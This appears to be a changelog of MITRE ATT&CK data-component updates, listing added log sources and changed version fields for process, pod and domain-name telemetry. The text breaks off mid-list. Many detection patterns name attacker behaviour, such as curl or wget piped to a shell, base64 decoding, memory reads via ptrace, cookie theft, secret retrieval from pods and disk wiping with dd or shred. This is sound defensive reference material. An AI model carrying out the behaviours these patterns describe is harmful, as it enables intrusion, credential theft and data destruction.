dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0096', 'external_id': 'DC0096'}]
x_mitre_log_sources		[{'name': 'Domain Name', 'channel': 'None'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--dd75f457-8dc0-4a24-9ae5-4b61c33af866

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:16:31.390000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0019] Pod Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0019', 'external_id': 'DC0019'}]
x_mitre_log_sources		[{'name': 'AWS:CloudTrail', 'channel': 'CreatePod: Programmatic creation of new pod resources using container images not seen before in the environment'}, {'name': 'kubernetes:audit', 'channel': 'create'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--06bb1e05-533b-4de3-ae87-9b99910465cf

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:17:38.124000+00:00	2025-10-21 15:14:37.749000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0037] Pod Enumeration

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0037', 'external_id': 'DC0037'}]
x_mitre_log_sources		[{'name': 'kubernetes:apiserver', 'channel': 'list or get requests against pods, deployments, or nodes'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--06bb1e05-533b-4de3-ae87-9b99910465cf

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:17:31.773000+00:00	2025-10-21 15:14:40.544000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0030] Pod Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0030', 'external_id': 'DC0030'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--06bb1e05-533b-4de3-ae87-9b99910465cf

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:17:41.365000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0035] Process Access

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0035', 'external_id': 'DC0035'}]
x_mitre_log_sources		[{'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=10'}, {'name': 'linux:osquery', 'channel': 'Process State'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace attach'}, {'name': 'macos:unifiedlog', 'channel': 'ptrace or task_for_pid'}, {'name': 'macos:osquery', 'channel': 'process_open'}, {'name': 'auditd:SYSCALL', 'channel': 'High frequency of accept(), read(), or SSL_read() syscalls tied to nginx/apache processes'}, {'name': 'Apple TCC Logs', 'channel': 'Microphone Access Events'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=10, 7'}, {'name': 'linux:syslog', 'channel': 'syscalls (open, read, ioctl) on /dev/input or /proc//fd/'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=25'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_OPEN'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected NSXPCConnection calls by non-Apple-signed or abnormal binaries'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656'}, {'name': 'macos:unifiedlog', 'channel': 'Unusual Mach port registration or access attempts between unrelated processes'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.security, library=libsystem_kernel.dylib'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace syscall or access to /proc/*/mem'}, {'name': 'macos:unifiedlog', 'channel': 'vm_read, task_for_pid, or file open to cookie databases'}, {'name': 'linux:osquery', 'channel': 'process_events'}, {'name': 'auditd:SYSCALL', 'channel': 'ACCESS'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, fork, mmap, ptrace'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace or process_vm_readv'}, {'name': 'macos:osquery', 'channel': 'unexpected memory inspection'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:47.199000+00:00	2025-10-21 15:14:35.539000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0032] Process Creation

Current version: 2.0

Version changed from: 1.2 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0032', 'external_id': 'DC0032'}]
x_mitre_log_sources		[{'name': 'Process', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'execve'}, {'name': 'macos:unifiedlog', 'channel': "log stream 'eventMessage contains pubsub or broker'"}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=1'}, {'name': 'linux:osquery', 'channel': 'Execution of binary resolved from $PATH not located in /usr/bin or /bin'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution path inconsistent with baseline PATH directories'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4688'}, {'name': 'linux:osquery', 'channel': 'process_events'}, {'name': 'macos:endpointsecurity', 'channel': 'exec'}, {'name': 'macos:osquery', 'channel': 'processes'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of launchctl with suspicious arguments'}, {'name': 'auditd:SYSCALL', 'channel': 'execve network tools'}, {'name': 'macos:osquery', 'channel': 'process_events'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls to soffice.bin with suspicious macro execution flags'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution of Microsoft Word, Excel, PowerPoint with macro execution attempts'}, {'name': 'macos:osquery', 'channel': 'process reading browser configuration paths'}, {'name': 'macos:unifiedlog', 'channel': 'exec logs'}, {'name': 'auditd:EXECVE', 'channel': 'execve: Processes launched with LD_PRELOAD/LD_LIBRARY_PATH pointing to non-system dirs'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: Process execution context for loaders calling dlopen/dlsym'}, {'name': 'auditd:EXECVE', 'channel': 'EXECVE'}, {'name': 'auditd:EXECVE', 'channel': 'execution of unexpected binaries during user shell startup'}, {'name': 'macos:unifiedlog', 'channel': 'launch of Terminal.app or shell with non-standard environment setup'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC with unusual parent-child process relationships from zsh'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of systemctl or service stop'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of launchctl or pkill'}, {'name': 'macos:unifiedlog', 'channel': 'process::exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of klist, kinit, or tools interacting with ccache outside normal user context'}, {'name': 'macos:osquery', 'channel': 'Execution of non-standard binaries accessing Kerberos APIs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Electron-based binary spawning shell or script interpreter'}, {'name': 'macos:unifiedlog', 'channel': 'Electron app spawning unexpected child process'}, {'name': 'esxi:shell', 'channel': '/root/.ash_history or /etc/init.d/'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls with high-frequency or known bandwidth-intensive tools'}, {'name': 'macos:unifiedlog', 'channel': 'exec or spawn calls to proxy tools or torrent clients'}, {'name': 'containers:osquery', 'channel': 'bandwidth-intensive command execution from within a container namespace'}, {'name': 'macos:unifiedlog', 'channel': 'process launch'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --info --predicate \'subsystem == "com.apple.cfprefsd"\''}, {'name': 'macos:unifiedlog', 'channel': 'execution of security, sqlite3, or unauthorized binaries'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected applications generating outbound DNS queries'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=1'}, {'name': 'macos:osquery', 'channel': 'execve'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected child process of Safari or Chrome'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or syscall invoking vm artifact check commands (e.g., dmidecode, lspci, dmesg)'}, {'name': 'macos:unifiedlog', 'channel': 'execution of system_profiler, ioreg, kextstat with argument patterns related to VM/sandbox checks'}, {'name': 'macos:unifiedlog', 'channel': 'process writes or modifies files in excluded paths'}, {'name': 'macos:unifiedlog', 'channel': 'process'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.mail. exec.'}, {'name': 'macos:unifiedlog', 'channel': 'execution of memory inspection tools (lldb, gdb, osqueryi)'}, {'name': 'esxi:vobd', 'channel': '/var/log/vobd.log'}, {'name': 'kubernetes:apiserver', 'channel': 'kubectl exec or kubelet API calls targeting running pods'}, {'name': 'docker:audit', 'channel': 'Process execution events within container namespace context'}, {'name': 'auditd:SYSCALL', 'channel': 'process persists beyond parent shell termination'}, {'name': 'macos:unifiedlog', 'channel': 'background process persists beyond user logout'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of scripts or binaries sourced from mail directories (/var/mail, ~/Maildir)'}, {'name': 'macos:unifiedlog', 'channel': 'Preview.app, Safari.app, or Mail.app spawning new processes outside normal patterns'}, {'name': 'esxi:hostd', 'channel': 'process execution across cloud VM'}, {'name': 'auditd:EXECVE', 'channel': 'systemctl spawning managed processes'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'esxi:shell', 'channel': '/var/log/shell.log'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of processes linked to hijacked sessions (e.g., anomalous parent-child process lineage)'}, {'name': 'macos:unifiedlog', 'channel': 'exec events where web process starts a shell/tooling'}, {'name': 'docker:events', 'channel': 'Docker/Kubernetes audit of exec/attach (kubectl exec) or unexpected child processes inside container'}, {'name': 'macos:unifiedlog', 'channel': 'exec of osascript, bash, curl with suspicious parameters'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of container management CLIs (docker, crictl, kubectl) or interpreted shells (sh, bash, python) within container context'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of discovery commands targeting backup binaries, processes, or config paths'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution logs showing discovery commands like mdfind, system_profiler, or launchctl list'}, {'name': 'macos:osquery', 'channel': 'process_events OR launchd'}, {'name': 'auditd:EXECVE', 'channel': 'execve'}, {'name': 'macos:osquery', 'channel': 'launchd or process_events'}, {'name': 'macos:unifiedlog', 'channel': 'process and file events via log stream'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of scripts or binaries spawned from browser processes'}, {'name': 'macos:unifiedlog', 'channel': 'Browser processes launching unexpected interpreters (osascript, bash)'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of defaults, plutil, or common editors (vim/nano) targeting plist files'}, {'name': 'auditd:SYSCALL', 'channel': 'EXECVE'}, {'name': 'macos:unifiedlog', 'channel': 'process:exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of bash, python, or perl processes spawned by browser/email client'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of osascript, bash, or Terminal initiated from Mail.app or Safari'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of /bin/sh,/bin/bash,/usr/bin/curl,/usr/bin/python by service accounts (e.g., apache, mysql, nobody) immediately after inbound network activity.'}, {'name': 'macos:osquery', 'channel': "parent_name in ('sshd','httpd','screensharingd') spawning shells or scripting runtimes."}, {'name': 'macos:unifiedlog', 'channel': 'process activity stream'}, {'name': 'auditd:SYSCALL', 'channel': 'SYSCALL record where exe contains passwd/userdel/chage and auid != root'}, {'name': 'macos:unifiedlog', 'channel': 'Post-login execution of unrecognized child process from launchd or loginwindow'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of base64\|openssl\|xxd\|python\|perl with arguments matching Base64 flags'}, {'name': 'macos:unifiedlog', 'channel': 'process command line contains base64, -enc, openssl enc -base64'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: arguments contain Base64-like strings'}, {'name': 'esxi:shell', 'channel': 'commands containing base64, openssl enc -base64, xxd -p'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of process launched via loginwindow session restore'}, {'name': 'macos:unifiedlog', 'channel': 'process: exec + filewrite: ~/.ssh/authorized_keys'}, {'name': 'containerd:runtime', 'channel': '/var/log/containers/.log'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Java apps or other processes with hidden window attributes'}, {'name': 'macos:unifiedlog', 'channel': 'Process Execution'}, {'name': 'auditd:SYSCALL', 'channel': 'execve on code or jetbrains-gateway with remote flags'}, {'name': 'macos:unifiedlog', 'channel': 'process: code or jetbrains-gateway launching with --tunnel or --remote'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'processImagePath CONTAINS "curl" OR "osascript"\''}, {'name': 'auditd:EXECVE', 'channel': 'Execution of dd, shred, wipe targeting block devices'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of sleep or ping command within script interpreted by bash/python'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or socket/connect system calls from processes using crypto libraries'}, {'name': 'macos:unifiedlog', 'channel': 'Process using AES/RC4 routines unexpectedly'}, {'name': 'linux:osquery', 'channel': 'execution of known firewall binaries'}, {'name': 'auditd:SYSCALL', 'channel': 'type=EXECVE or SYSCALL for /bin/date, /usr/bin/timedatectl, /sbin/hwclock, /bin/cat /etc/timezone, /bin/cat /proc/uptime'}, {'name': 'linux:osquery', 'channel': "execve: command like 'date', 'timedatectl', 'hwclock', 'cat /etc/timezone'"}, {'name': 'macos:unifiedlog', 'channel': 'process exec events of systemsetup, date, ioreg with command_line parameters indicating time discovery'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: binary == "/usr/sbin/systemsetup" and args contains "-gettimezone"'}, {'name': 'macos:osquery', 'channel': "execve: command LIKE '%systemsetup -gettimezone%' OR '%date%'"}, {'name': 'macos:unifiedlog', 'channel': 'execution of osascript, curl, or unexpected automation'}, {'name': 'macos:unifiedlog', 'channel': 'exec /usr/bin/pwpolicy'}, {'name': 'auditd:SYSCALL', 'channel': 'socket(AF_PACKET\|AF_INET, SOCK_RAW, ), setsockopt(… SO_ATTACH_FILTER\|SO_ATTACH_BPF …), bpf(cmd=BPF_PROG_LOAD), open/openat path="/dev/bpf" (BSD/macOS-like) or setcap cap_net_raw.'}, {'name': 'linux:syslog', 'channel': 'KERN messages about eBPF program load/verify or LSM denials related to bpf.'}, {'name': 'OpenBSM:AuditTrail', 'channel': 'open/openat of /dev/bpf; ioctl BIOCSETF-like operations.'}, {'name': 'macos:unifiedlog', 'channel': 'Exec of tcpdump, rvictl, custom tools linked to libpcap.A.dylib; sysextd/systemextensionsctl events for NetworkExtension content filters.'}, {'name': 'auditd:EXECVE', 'channel': '/usr/sbin/postfix, /usr/sbin/exim, /usr/sbin/sendmail'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of known flash tools (e.g., flashrom, fwupd)'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.firmwareupdater activity or update-firmware binary invoked'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of system tools like dmidecode, lspci, lscpu, dmesg, systemd-detect-virt'}, {'name': 'macos:unifiedlog', 'channel': "exec or spawn of 'system_profiler', 'ioreg', 'kextstat', 'sysctl', or calls to sysctl API"}, {'name': 'macos:endpointSecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Suspicious binaries or scripts interacting with authentication binaries (sshd, gdm, login)'}, {'name': 'macos:osquery', 'channel': 'execve: Processes unexpectedly invoking Keychain or authentication APIs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: execve calls where a browser/webview process is parent and child is interpreter (python, sh, ruby) or downloader (curl, wget)'}, {'name': 'macos:unifiedlog', 'channel': 'process_create: Process creation where parent is Safari/Google Chrome and child is script interpreter or signed-but-unusual helper binary'}, {'name': 'auditd:EXECVE', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'process:launch'}, {'name': 'auditd:EXECVE', 'channel': 'Shell commands invoked by SQL process such as postgres, mysqld, or mariadbd'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of smbclient, smbmap, rpcclient, nmblookup, crackmapexec smb'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC: Process execution of "sharing -l", "smbutil view", "mount_smbfs"'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of scp, rsync, curl with remote destination'}, {'name': 'macos:unifiedlog', 'channel': 'logMessage contains pbpaste or osascript'}, {'name': 'auditd:SYSCALL', 'channel': 'execve call with argv matching known disk enumeration commands (lsblk, parted, fdisk)'}, {'name': 'macos:unifiedlog', 'channel': 'process launch of diskutil or system_profiler with SPStorageDataType'}, {'name': 'esxi:hostd', 'channel': "execution of esxcli with args matching 'storage', 'filesystem', 'core device list'"}, {'name': 'macos:unifiedlog', 'channel': 'Mail.app executing with parameters updating rules state'}, {'name': 'esxi:shell', 'channel': '/var/log/vmkernel.log, /var/log/vmkwarning.log'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: Exec of ffmpeg, avfoundation-based binaries, or custom signed apps accessing camera'}, {'name': 'kubernetes:apiserver', 'channel': 'exec into pod followed by secret retrieval via API'}, {'name': 'macos:unifiedlog', 'channel': 'process_name IN ("VBoxManage", "prlctl") AND command CONTAINS ("list", "show")'}, {'name': 'macos:unifiedlog', 'channel': 'exec srm\|exec openssl\|exec gpg'}, {'name': 'linux:osquery', 'channel': 'Process execution with LD_PRELOAD or modified library path'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of process with DYLD_INSERT_LIBRARIES set'}, {'name': 'linux:Sysmon', 'channel': 'process creation events linked to container namespaces executing host-level binaries'}, {'name': 'WinEventlog:Security', 'channel': 'EventCode=4688'}, {'name': 'macos:unifiedlog', 'channel': 'process and signing chain events'}, {'name': 'macos:unifiedlog', 'channel': 'launchservices events for misleading extensions'}, {'name': 'fs:fsusage', 'channel': 'Execution of disguised binaries'}, {'name': 'linux:osquery', 'channel': 'process listening or connecting on non-standard ports'}, {'name': 'macos:unifiedlog', 'channel': 'launchd services binding to non-standard ports'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, connect'}, {'name': 'esxi:cron', 'channel': 'process or cron activity'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of binaries with unsigned or anomalously signed certificates'}, {'name': 'auditd:SYSCALL', 'channel': 'execve logging for /usr/bin/systemctl and systemd-run'}, {'name': 'macos:osquery', 'channel': 'Invocation of osascript or dylib injection'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of files saved in mail or download directories'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Terminal, osascript, or other interpreters originating from Mail or Preview'}, {'name': 'macos:unifiedlog', 'channel': 'process events'}, {'name': 'linux:syslog', 'channel': 'Unauthorized sudo or shell access, especially leading to file changes in /var/www or /srv/http'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of unexpected terminal or web scripts modifying /Library/WebServer/Documents'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of CLI tools like psql, mysql, mongo, sqlite3'}, {'name': 'macos:unifiedlog', 'channel': 'Process start of Java or native DB client tools'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or tccd-related entries'}, {'name': 'macos:osquery', 'channel': 'query: process_events, launchd, and tcc.db access'}, {'name': 'ebpf:syscalls', 'channel': 'process execution or network connect from just-created container PID namespace'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of pip, npm, gem, or similar package managers'}, {'name': 'macos:unifiedlog', 'channel': 'Command line invocation of pip3, brew install, npm install from interactive Terminal'}, {'name': 'auditd:SYSCALL', 'channel': 'fork/exec of service via PID 1 (systemd)'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of ssh/scp/sftp without corresponding authentication log'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of ssh or sftp without corresponding login event'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: execve where exe=/usr/bin/python3 or similar interpreter'}, {'name': 'macos:unifiedlog', 'channel': 'launch of remote desktop app or helper binary'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected processes making network calls based on DNS-derived ports'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl spawning new processes'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl activity and process creation'}, {'name': 'containerd:events', 'channel': 'New container with suspicious image name or high resource usage'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Python, Swift, or other binaries invoking archiving libraries'}, {'name': 'linux:osquery', 'channel': 'Processes linked with libssl or crypto libraries making outbound connections'}, {'name': 'macos:unifiedlog', 'channel': 'Process invoking SSL routines from Security framework'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of binaries located in /etc/init.d/ or systemd service paths'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of binary listed in newly modified LaunchAgent plist'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of bless or nvram modifying boot parameters'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected processes registered with launchd'}, {'name': 'macos:unifiedlog', 'channel': 'Process launch'}, {'name': 'macos:unifiedlog', 'channel': 'execution of curl, osascript, or unexpected Office processes'}, {'name': 'macos:osquery', 'channel': 'exec'}, {'name': 'macos:unifiedlog', 'channel': 'Trust validation failures or bypass attempts during notarization and code signing checks'}, {'name': 'esxi:vmkernel', 'channel': 'spawned shell or execution environment activity'}, {'name': 'macos:unifiedlog', 'channel': 'process_exec: image in {/bin/bash,/bin/zsh,/usr/bin/osascript,/usr/bin/python,/usr/bin/curl,/usr/bin/ssh,/usr/bin/open} AND parent in {Preview, TextEdit, Microsoft Word, Microsoft Excel, AdobeReader, Archive Utility, Finder}'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: exe in {/bin/bash,/bin/sh,/usr/bin/python,/usr/bin/perl,/usr/bin/php,/usr/bin/node,/usr/bin/curl,/usr/bin/wget,/usr/bin/xdg-open,/usr/bin/ssh,/usr/bin/rundll32 (wine)} AND ppid process is a document viewer/browser'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of dd/sgdisk with arguments writing to sector 0 or partition table'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of zip, ditto, hdiutil, or openssl by processes not normally associated with archiving'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events for chmod, chown, chflags with unusual parameters or targets'}, {'name': 'm365:defender', 'channel': 'AdvancedHunting(DeviceEvents, ProcessCreate, ImageLoad, AMSI/ETW derived signals)'}, {'name': 'macos:unifiedlog', 'channel': 'execve or dylib load from memory without backing file'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands that alter firewall or start listeners: iptables\|nft\|ufw\|firewall-cmd\|pfctl\|systemctl start sshd/telnet/dropbear; raw-socket/libpcap tools (tcpdump, tshark, nmap --raw).'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of pfctl, socketfilterfw, launchctl start ssh/telnet, libpcap consumers.'}, {'name': 'esxi:shell', 'channel': 'Shell Execution'}, {'name': 'macos:unifiedlog', 'channel': 'Unusual child process tree indicating attempted recovery after crash'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of binaries/scripts presenting false health messages for security daemons'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of processes mimicking Apple Security & Privacy GUIs'}, {'name': 'WinEventLog:Microsoft-Windows-Security-Auditing', 'channel': 'EventCode=4688'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, setifflags'}, {'name': 'macos:osquery', 'channel': "process_events where path like '%tcpdump%'"}, {'name': 'auditd:EXECVE', 'channel': 'Execution of dd, shred, or wipe with arguments targeting block devices'}, {'name': 'auditd:EXECVE', 'channel': 'systemctl stop auditd, kill -9 , or modifications to /etc/selinux/config'}, {'name': 'macos:unifiedlog', 'channel': 'execution of curl, git, or Office processes with network connections'}, {'name': 'macos:unifiedlog', 'channel': 'log stream - process subsystem'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls for qemu-system, kvm, or VBoxHeadless'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution for VBoxHeadless, prl_vm_app, vmware-vmx'}, {'name': 'macos:unifiedlog', 'channel': 'process logs'}, {'name': 'esxi:shell', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of interpreters (python, perl), custom binaries, or shell utilities with long arguments containing non-standard tokens'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC: arguments contain long, non-standard tokens / custom alphabets'}, {'name': 'macos:unifiedlog', 'channel': 'command line or log output shows non-standard encoding routines'}, {'name': 'esxi:shell', 'channel': 'commands containing long non-standard tokens or custom lookup tables'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of /usr/sbin/installer spawning child process from within /private/tmp or package contents'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of dpkg or rpm followed by fork/execve from within postinst, prerm, etc.'}, {'name': 'macos:unifiedlog', 'channel': 'execve: Helper tools invoked through XPC executing unexpected binaries'}, {'name': 'macos:unifiedlog', 'channel': 'execution of modified binary without valid signature'}, {'name': 'auditd:SYSCALL', 'channel': "execve: exe in (/usr/bin/bash,/usr/bin/sh,/usr/bin/zsh,/usr/bin/python) AND cmdline matches '(curl\|wget).(\\\|\|\\\|\\ssh\|bash)\|base64\\s-d\|python\\s-c'"}, {'name': 'macos:unifiedlog', 'channel': "exec: ParentImage in (Terminal, iTerm2) AND Image in (/bin/zsh,/bin/bash,/usr/bin/python) AND CommandLine matches '(curl\|wget).(\\\|\|\\\|\\ssh\|bash)\|base64 -D\|python -c'"}, {'name': 'macos:unifiedlog', 'channel': 'process created with repeated ICMP or UDP flood behavior'}, {'name': 'fs:fsusage', 'channel': 'binary execution of security_authtrampoline'}, {'name': 'macos:unifiedlog', 'channel': 'process: exec'}, {'name': 'esxi:vmkernel', 'channel': 'Exec'}, {'name': 'macos:unifiedlog', 'channel': 'Child processes of Safari, Chrome, or Firefox executing scripting interpreters'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of older or non-standard interpreters'}, {'name': 'linux:osquery', 'channel': 'process execution events for permission modification utilities with command-line analysis'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events for chmod, chown, chflags with parameter analysis and target path examination'}, {'name': 'macos:osquery', 'channel': 'process execution monitoring for permission modification utilities with command-line argument analysis'}, {'name': 'auditd:SYSCALL', 'channel': 'Invocation of packet generation tools (e.g., hping3, nping) or fork bombs'}, {'name': 'macos:osquery', 'channel': 'Execution of flooding tools or compiled packet generators'}, {'name': 'esxi:hostd', 'channel': 'process'}, {'name': 'auditd:SYSCALL', 'channel': 'execve for proxy tools'}, {'name': 'macos:unifiedlog', 'channel': 'process, socket, and DNS logs'}, {'name': 'macos:osquery', 'channel': 'process_events table'}, {'name': 'macos:unifiedlog', 'channel': "Command line containing `trap` or `echo 'trap` written to login shell files"}, {'name': 'macos:unifiedlog', 'channel': 'log collect --predicate'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or nanosleep with no stdout/stderr I/O'}, {'name': 'macos:unifiedlog', 'channel': 'launchd or osascript spawns process with delay command'}, {'name': 'linux:syslog', 'channel': 'systemd-udevd spawning user-defined action from RUN+='}, {'name': 'ebpf:syscalls', 'channel': 'execve'}, {'name': 'macos:unifiedlog', 'channel': 'process:spawn'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "exec"\''}, {'name': 'auditd:EXECVE', 'channel': 'cat\|less\|grep accessing .bash_history from a non-shell process'}, {'name': 'auditd:EXECVE', 'channel': 'Process execution via .desktop Exec path from /etc/xdg/autostart or ~/.config/autostart'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of dpkg, rpm, or other package manager with list flag'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of system_profiler or osascript invoking enumeration'}, {'name': 'auditd:SYSCALL', 'channel': 'apache2 or nginx spawning sh, bash, or python interpreter'}, {'name': 'macos:unifiedlog', 'channel': 'httpd spawning bash, zsh, python, or osascript'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of /usr/libexec/security_authtrampoline or child processes originating from non-trusted binaries triggering credential prompts'}, {'name': 'macos:unifiedlog', 'channel': 'execution of security or osascript'}, {'name': 'WinEventLog:security', 'channel': 'EventCode=4688'}, {'name': 'macos:unifiedlog', 'channel': 'launchd spawning processes tied to new or modified LaunchDaemon .plist entries'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of ping, nping, or crafted network packets via bash or python to reflection services'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of commands modifying iptables/nftables to block selective IPs'}, {'name': 'macos:unifiedlog', 'channel': 'System process modifications altering DNS/proxy settings'}, {'name': 'containerd:Events', 'channel': 'unusual process spawned from container image context'}, {'name': 'macos:osquery', 'channel': 'curl, python scripts, rsync with internal share URLs'}, {'name': 'macos:unifiedlog', 'channel': 'process: spawn, 